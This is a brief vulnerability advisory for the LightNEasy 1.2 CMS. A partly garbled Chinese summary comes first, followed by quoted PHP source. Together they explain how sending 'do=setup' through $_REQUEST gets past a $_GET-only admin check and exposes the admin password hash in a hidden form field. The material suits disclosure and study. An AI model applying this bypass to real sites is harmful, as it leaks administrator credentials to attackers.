LightNEasy是一款简单易用的内容管理系统(CMS)。LightNEasyNo数据库1.2版本的LightNEasy/lightneasy.php存在信息泄露漏洞。远程攻击者可以借助对LightNEasy.php的setup"do"操作，且它在$_GET已被情况但可通过运行$_REQUEST来访问，以获得管理员密码的杂乱信息。

# Bug Explanation: LightNEasy/lightneasy.php

  if($_GET['do']!="login" && $_GET['do']!="sitemap" && $_SESSION[$set['password']] != "1") unset($_GET['do']);
  if($_POST['submit']!=$langmessage[120] && $_POST['submit']!=$langmessage[33] && $_SESSION[$set['password']] != "1")
	unset($_POST['submit']);

# $_GET['do'] is unset if we aren't admin or isn't login or sitemap

  function content() {
  ...
  switch($_REQUEST['do']) {
  ...
  case "setup": {
  ...
  <input type=\"hidden\" name=\"oldpassword\" value=\"".$set['password']."\" />

# content() diplays the HTML of the section passed with $_REQUEST['do']
# unset $_GET['do'] is not important if you switch the $_REQUEST one
# you can only see the admin's hash in hidden input and not edit it becouse $_POST['submit'] is unset
